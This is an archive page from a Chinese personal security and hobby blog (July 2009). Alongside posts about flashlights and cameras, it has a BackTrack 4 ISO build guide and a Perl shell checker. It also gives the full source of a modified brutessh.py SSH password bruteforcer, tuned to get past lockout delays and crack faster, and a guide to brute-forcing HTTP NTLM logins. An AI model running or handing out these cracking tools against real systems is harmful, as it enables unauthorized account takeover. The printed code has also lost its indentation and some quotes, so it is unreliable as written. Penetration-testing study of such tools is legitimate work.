存档

2009年7月 的存档

PentagonLight X1/X2

2009年7月25日 Python

都是新版的,HA贼结实,X2上的夹子被我生生拽下来后,留下的划痕轻轻一擦就OK了 ……

pentagonlight01

pentagonlight02

分类: 09 . 我的玩具 标签:

终于换了新卡片机

2009年7月23日 Python

原来的相机犯了病,动不动就龟缩,搞的人十分闹心

因为烧的玩具太多,所以在相机选择上一直是卡片机当道,这次在朋友推荐下买了FS20,效果还不错,家用足以,顺便拍张办公桌的角落,很乱 ……

p1000017

晚上赶紧拍拍新上的PentagonLight X2 ……

分类: 01 . 杂七杂八 标签:

自相矛盾 sohu版

2009年7月22日 Python

在同一个页面中 ……

虽然自制方法是连接到一个BLOG,但这样还是不太好吧 ……

s1

s2

分类: 01 . 杂七杂八 标签:

python SimpleHTTPServer

2009年7月20日 Python
import sys
import SocketServer
import SimpleHTTPServer
 
httPort = 8000
try:
    
httPort = sys.argv[1]
    
httPort = httPort.strip()
    
httPort = int(httPort)
except IndexError:
    
pass
 
httpHandler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpDaemon = SocketServer.TCPServer( ( "", httPort ) , httpHandler )# bind port on all interfaces
 
print "Listening on Port",httPort ,""
if 8000 == httPort:
    
print "Starting httpd on a different port number : python %s port-number" %sys.argv[0]
print "Press Ctrl-C to terminate httpd."
try:
    
httpDaemon.serve_forever()
except KeyboardInterrupt:
    
print "\n\npyhttpd has been terminated !\n"
    
sys.exit(0)

Nmap 5.00 Released

2009年7月20日 Python

定制自己的BT4 (Back Track 4)

2009年7月17日 Python

官方提供了用户自定制BT4的方法,如下:

第一步,将squashfs文件释放出来

mkdir -p /root/BUILD
mv bt4.iso /root/BUILD
cd /root/BUILD/
mkdir mnt
mount -o loop bt4.iso mnt/
mkdir extract-cd
rsync –exclude=/casper/filesystem.squashfs -a mnt/ extract-cd
mkdir squashfs
mount -t squashfs -o loop mnt/casper/filesystem.squashfs squashfs
mkdir edit
cp -a squashfs/* edit/
cp /etc/resolv.conf edit/etc/
cp /etc/hosts edit/etc/
cp /etc/fstab edit/etc/
mount –bind /dev/ edit/dev
chroot edit

这个时候,已经进入到自己需要定制的系统,可以根据需要需求安装、删除软件

第二步,完成定制系统

自定义工作后,官方文档还建议对系统进行一次升级:
apt-get update
apt-get upgrade
apt-get clean
exit

第三步,制作ISO

umount edit/dev
chmod +w extract-cd/casper/filesystem.manifest
chroot edit dpkg-query -W –showformat=’${Package} ${Version}n’ > extract-cd/casper/filesystem.manifest
REMOVE=’ubiquity casper live-initramfs user-setup discover xresprobe os-prober libdebian-installer4′
for i in $REMOVE
do
sed -i “/${i}/d” extract-cd/casper/filesystem.manifest-desktop
done
cp extract-cd/casper/filesystem.manifest extract-cd/casper/filesystem.manifest-desktop
sed -i ‘/ubiquity/d’ extract-cd/casper/filesystem.manifest-desktop
rm -rf extract-cd/casper/filesystem.squashfs
mksquashfs edit extract-cd/casper/filesystem.squashfs
rm extract-cd/md5sum.txt
find /boot /usr/lib/grub/ -iname ’stage2_eltorito’ -exec cp -v {} extract-cd/boot/grub \;
cd extract-cd
mkisofs -b boot/grub/stage2_eltorito -no-emul-boot -boot-load-size 4 \
-boot-info-table -V “BT4″ -cache-inodes -r -J -l -o ~/bt4-mod.iso .

这样,制作出的ISO文件就被放到了用户目录下,名为:bt4-mod.iso
为了方便,可以将第一步和第三部的两段代码存储为shell脚本,直接执行就可以

不过,在我几次定制过程中,使用mkisofs都会收到错误信息:
genisoimage: Directories too deep for ‘/tmp/BUILD …. ‘ (7) max is 6
狗了一下发现,原来这里使用的mkisofs并不是真正的mkisofs,而是genisoimage,看一下mkisofs和genisoimage的manual就知道了
如果需要的话,要安装cdrtools,不过这样还是比较麻烦,因为参数完全不一样,所以我做了一些简化

第一步和第二步完全不变,在第三步执行完mksquashfs后,将制作出来的squashfs复制到Windows下,然后用UltraISO打开bt4的iso文件,将capser目录的squashfs文件替换一下,然后用这个ISO重启,就进入自己定制的系统了

PentagonLight X1

2009年7月17日 Python

PentagonLight 没有surefire那种机械化的痕迹,但依然细腻,而且喷砂涂层也显得很彪悍,HA做的也非常牛逼,很结实,决定以后多多关注PentagonLight

p1

p2

p3

p4

还有帮朋友做的皮活,第一次用电吹风处理蜡油,很失败,搞的颜色不均匀,也无心再处理其他细节了,小Z同学忍了吧,哈哈 ……

zz

分类: 09 . 我的玩具 标签:

BT4(Back Track 4)中brutessh.py的小问题

2009年7月14日 Python

本来应该是利用hydra来做SSH破解的,但是BT4中的hydra在编译的时候没有加载libssh,所有无法破解SSH(试图破解SSH时会收到如下错误消息)

Error: Compiled without LIBSSH support, module not available!

基于这样的原因,尝试一下brutessh,这个工具是python写的,利用了paramiko这个SSH库,不过测试过程中发现,brutessh有时候会破解不成功(确认密码在字典中存在),而如果测试的时候将正确的密码放在字典的第一行,破解基本上就没出现过什么问题

于是在SSH进行认证的代码部分加上一些调试信息(brutessh.py中),如下:

  1. try:
  2.     t.auth_password( username=username , password=password )
  3. except Exception , e:
  4.     x = 0
  5.     print "Error : %s" %e

然后就出现了一些让人崩溃的信息:

  1. # python brutessh.bak.py -h 192.168.10.222 -u root -d dic.dic
  2.  
  3. *************************************
  4. *SSH Bruteforcer Ver. 0.2           *
  5. *Coded by Christian Martorella      *
  6. *Edge-Security Research             *
  7. *laramies@gmail.com                 *
  8. *************************************
  9.  
  10. HOST: 192.168.10.222 Username: root Password file: dic.dic
  11. ===============================================================
  12. Trying password…
  13.  
  14. Error : No existing session
  15. 10sne1
  16. Error : No existing session
  17. 1234qwer
  18. Error : No existing session
  19. 123abc
  20. Error : No existing session
  21. 123go
  22. Error : No existing session
  23. 1701d
  24. Error : No existing session
  25. 1a2b3c

No existing session,这信息大概是SSH上我们都知道的一个安全特性引起的:就是密码错误三次后会有个短时间的中断(具体错误几次后中断根据pam_cracklib模块的设置决定),所以我怀疑这个中断会造成这样的影响

如果是这样,解决这个问题也并不太困难,在程序中判断一下链接是否仍然存在,如果不存在,那么就sleep几秒钟,然后再从当前的密码重新开始,大概思路如此,可以开始动手了

因为BT4没有安装,只是使用LIVE CD,所以为了方便调试(BT4的vim似乎不支持语法高亮?)把brutessh打包到Windows下调试,这样,如果有人试过的话,会发现一点小问题,就是paramiko这个库在Windows下不能很好的使用,这是因为它需要pyCrypto库的支持,不过好在我以前已经做过SSH的测试,所以轻车熟路,解决问题很简单:

1、建议到pypi上搜索一下paramiko,然后直接在Windows上装一个

2、下载pyCrypto的二进制安装包(建议使用二进制安装):http://www.voidspace.org.uk/python/modules.shtml#pycrypto

上面两个东西都装好后,paramiko就能正常使用了

修改的内容不算多,我这里只是将原始的链接、认证部分拿出来单独做了一个函数,然后根据关键字(No existing session)判断当前链接是否仍然存在,如果不存在了,那么,就关闭会话、睡上3秒,然后使用当前密码重新开始,经过6次测试,修改后的程序在这6次中都成功的找到密码,而未修改的程序在6次中都没有找到口令(密码字典50行,正确口令在第37行),修改后的brutessh.py如下:

#!/usr/bin/python
# update : 2009-7-14 , by Python , Python[AT]Live.it
import re
import thread
import time
from threading import Thread
import sys, os,threading, time, traceback, getopt
import paramiko
import terminal
 
global adx
global port
 
adx="1"
port=22
data=[]
i=[]
errReg = re.compile(No\s+existing\s+session , re.I)
 
 
term = terminal.TerminalController()
paramiko.util.log_to_file(demo.log)
 
print "\n*************************************"
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+"           *"
print "*Coded by Christian Martorella      *"
print "*Edge-Security Research             *"
print "*laramies@gmail.com                 *"
print "*************************************\n"
 
def usage():
    
print "Usage: brutessh.py options \n"
    
print "       -h: destination host\n"
    
print "       -u: username to force\n"
    
print "       -d: password file \n"
    
print "       -t: threads (default 12, more could be bad)\n\n"
    
print "Example:  brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
    
sys.exit()
 
def test_auth( hostname , username , password , timeout=0):
    
    
time.sleep( timeout )
    
    
t = paramiko.Transport( hostname )
    
try:
        
t.start_client()
    
except Exception:
        
x= 0
    
    
try:
        
t.auth_password( username=username , password=password )
    
except Exception , e:
        
x = 0
        
#print "Error : %s" %e
        
if errReg.findall(str(e)):
            
t.close()
            
test_auth( hostname , username , password , timeout=3 )
    
    
if t.is_authenticated():
        
print "\nAuth OK —> Password is : " + password
        
t.close()
        
return "0"
    
else:
        
print password
        
t.close()
        
return "1"
    
 
class force(Thread):
    
def __init__( self, name ):
        
Thread.__init__(self)
        
self.name = name
 
    
def run(self):
        
global adx
        
if adx == "1":
            
passw=self.name.split("\n")[0]
            
adx = test_auth( hostname , username ,passw )
        
time.sleep(0)
        
i[0]=i[0]-1
 
 
def test_thread(names):
    
i.append(0)
    
j=0
    
while len(names):
        
try:
            
if i[0]<th:
                
n = names.pop(0)
                
i[0]=i[0]+1
                
thread=force(n)
                
thread.start()
                
j=j+1
        
except KeyboardInterrupt:
            
print "Attack suspended by user..\n"
            
sys.exit()
    
thread.join()
 
def test(argv):
    
global th
    
global hostname
    
global username
    
th = 12
    
if len(sys.argv) < 3:
        
usage()
    
try :
        
opts, args = getopt.getopt(argv,"h:u:d:t:")
    
except getopt.GetoptError:
        
usage()
    
for opt,arg in opts :
        
if opt == -u:
            
username = arg
        
elif opt == -h:
            
hostname =arg
        
elif opt == -d:
            
password = arg
        
elif opt == "-t":
            
th = arg
    
try:
        
f = open(password, "r")
    
except:
        
print "Can’t open password file\n"
        
sys.exit()
    
print term.RED + "HOST: " +term.NORMALhostname + term.RED + " Username: " +term.NORMALusername +term.RED + " Password file: " +term.NORMAL+ password
    
print "==========================================================================="
    
print "Trying password…\n"
    
name = f.readlines()
    
starttime = time.clock()
    
test_thread(name)
    
stoptime = time.clock()
    
print "\nTimes — > Init: "+ str(starttime) + " End: "+str(stoptime)
    
print "\n"
    
if __name__ == "__main__":
    
try:
        
test(sys.argv[1:])
    
except KeyboardInterrupt:
        
print "Attack suspended by user…\n"
        
sys.exit()

最后,需要补充一下
如果想在Windows下使用brutessh,建议在检测到正确密码口做一个log输出,因为原程序使用的terminal库在Windows下并不能实现Linux中的控制效果,如果密码过多,可能会使正确结果淹没在打印信息中
另外,这里的time.sleep(3)是我测试的时候随便写的,并不意味着3秒钟就是最短的时间,可以根据网络情况做一下测试,也许还可以将时间缩短,以此提高破解效率

基于NTLM认证HTTP会话破解

2009年7月13日 Python

这是个麻烦的问题,很多工具都支持HTTP破解,但很多人不知道HTTP的认证最为常见的至少有两种
(我这里说的是“至少”,还有一些不常见的认证,比如:kerberos)

一种是常见工具支持的Basic认证方式,另外一种则是IIS上常用的NTLM认证方式

Basic认证方式非常简单,验证信息基本上是明文的(只是经过了简单的BASE64编码而已),而这里说的NTLM和我们常见的SMB会话里的NTLM就是一回事了,认证是加密的

Apache默认使用AuthFile进行认证的时候,启用的就是HTTP Basic认证,而IIS中,如果选择了“集成Windows身份验证”,则意味着使用了HTTP NTLM认证

当然,在IIS里也可使用HTTP Basic认证,就是选择“基本身份验证”这一项就可以了,同时还可以定义一下域名

从外部去区分也不难,靠经验的话,一般IIS用NTLM认证会比较多,而Apache上则是HTTP Basic用的比较多,上面也说了破解HTTP Basic的工具很多,AppScan和WVS里都有这样的工具,单独的小工具也不想少,像是HTTP Auth Scanner

经验判断不准,所有我们还可以根据数据包进行判断,这种方法快速、简单:

这里假设目标主机为 192.168.10.28 ,端口开在了8888上,使用nc发送请求,假设需要认证的是根目录(“/”),提交如下数据

C:>nc -v 192.168.10.28 8888
XXX [192.168.10.28] 8888 (?) open
GET / HTTP/1.1
Host: 192.168.10.28
User-Agent: Mozilla/4.0 (xxx)

然后会有这样的返回信息

HTTP/1.1 401 Unauthorized
Content-Length: 1327
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Mon, 13 Jul 2009 02:56:31 GMT

注意红色的部分,它告诉了我们,它使用的HTTP NTLM认证

还是在IIS上,还是这台机器,改成“基本身份验证”后,提交同样的数据,返回信息变为:

HTTP/1.1 401 Unauthorized
Content-Length: 1327
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Basic realm=”192.168.10.28″
X-Powered-By: ASP.NET
Date: Mon, 13 Jul 2009 02:57:28 GMT

注意红色部分,这就是HTTP Basic认证了

如果是使用HTTP NTLM认证的话,现在没发现什么好的破解工具,目前连hydra 5.4都不支持HTTP NTLM的方式

不过还好,wget目前支持NTLM认证,还是同样一台服务器,用wget做一下测试

wget –http-user=test –http-password=abc123 http://192.168.10.28:8888/my.txt

其中用户名是test,密码则是abc123

返回的信息告诉我,已经认证成功了,而且下载my.txt成功,并确认无误

–13:27:05–  http://192.168.10.28:8888/my.txt
=> `my.txt’
Connecting to 192.168.10.28:8888… connected.
HTTP request sent, awaiting response… 401 Unauthorized
Reusing existing connection to 192.168.10.28:8888.
HTTP request sent, awaiting response… 401 Unauthorized
Reusing existing connection to 192.168.10.28:8888.
HTTP request sent, awaiting response… 200 OK
Length: 46 [text/plain]

100%[=============================================]

13:27:05 (5.23 MB/s) - `my.txt’ saved [46/46]

这个时候,我们可以想象的出来的就是,利用wget来破解,做一个shell或bat,遍历两个文件来替换 –http-user=test –http-password=abc123这两个参数就可以了,不过这样比较难看

于是我就找到了一个python的模块,在这里:http://code.google.com/p/python-ntlm/

需要的话,可以svn到本地:svn checkout http://python-ntlm.googlecode.com/svn/trunk/ python-ntlm-read-only

我也已经放到了本地:http://www.room702.cn/tools/index.php?dir=Source&download=python-ntlm.tar.gz

用脚本测试一下,完全没有问题,不过要注意,我这里使用的python2.5,我不是很熟悉python2.6及3.0的特性,反正python-ntlm模块首页上的example在2.5上有点问题,就是user = ‘DOMAIN\User’这里

首先,一定要有domain字段(可以随便写),另外,在2.5上,一条斜线解决不了问题,因为模块中是这样写的:

user_parts = user.split(’\\’, 1)
DomainName = user_parts[0].upper()
UserName = user_parts[1]

所以这里需要改一下模块,或者是写成user = ‘DOMAIN\User’才可以,测试用的脚本如下(除了几个变量外,其他与example相同)

  1. #!/usr/bin/env python
  2.  
  3. import urllib2
  4. from ntlm import HTTPNtlmAuthHandler
  5. user = local\\test
  6. password = "abc123"
  7. url = http://192.168.10.28:8888/default.aspx
  8.  
  9. passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
  10. passman.add_password(None, url, user, password)
  11. auth_NTLM = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passman)
  12.  
  13. opener = urllib2.build_opener(auth_NTLM)
  14. urllib2.install_opener(opener)
  15.  
  16. response = urllib2.urlopen(url)
  17. print(response.read())

如果需要,可以加个多线程,就是个比较完美的HTTP NTLM破解工具了,不过这只是暂时解决方案,继续放狗去搜,相信网上还有已经成熟的好工具

Solaris的/etc/shells文件

2009年7月13日 Python

先需要明白/etc/shells文件与ftp的关系,这个要去Google一下,有很多

今天发现Solaris默认安装后没有/etc/shells文件,也没有chsh命令,狗了一下后,看到有人说这个玩意在Solaris上是不存在的,我不信,于是看了看Solaris的文档

文档里是这样说的(版本:SunOS 5.9),Solaris默认有个shell列表,列表里包含了一堆的可用shell,而这个shell列表的作用就相当于Linux上传统意义的/etc/shells文件中的内容,但Solaris也是支持/etc/shells文件的,如果有需要,用户可以自己建立一个与Linux格式完全一样的shells文件,而这时候,/etc/shells文件的优先权将高于Solaris系统中默认的shells列表

脚本中,对系统支持shell的检查非常简单,扩展一下,就可以检查passwd中的login shell 或是 ftp 登录的情况

#!/usr/bin/perl
# checking for legal shells
# Python[AT]Live.It
#
my @shells = ();
if (-f /etc/shells){
    
open SH , /etc/shells or die "Error : $!\n";
    
@shells = <SH>;
    
close SH;
}
if (0 == scalar @shells){
    
@shells = (
    
/bin/bash,/bin/csh,/bin/jsh,/bin/ksh,/bin/pfcsh,
    
/bin/pfksh,/bin/pfsh,/bin/sh,/bin/tcsh,/bin/zsh,
    
/sbin/jsh,/sbin/sh,/usr/bin/bash,/usr/bin/csh,
    
/usr/bin/jsh,/usr/bin/ksh,/usr/bin/pfcsh,/usr/bin/pfksh,
    
/usr/bin/pfsh,/usr/bin/sh,/usr/bin/tcsh,/usr/bin/zsh,
    
)
}
# all , exists ?
foreach (@shells){
    
chomp;
    
if (-f $_){
        
print "Chking Shell $_ ,\t exists !\n";
    
}
    
else{
        
print "Chking Shell $_ ,\t [NOT FOUND] !\n";
    
}
}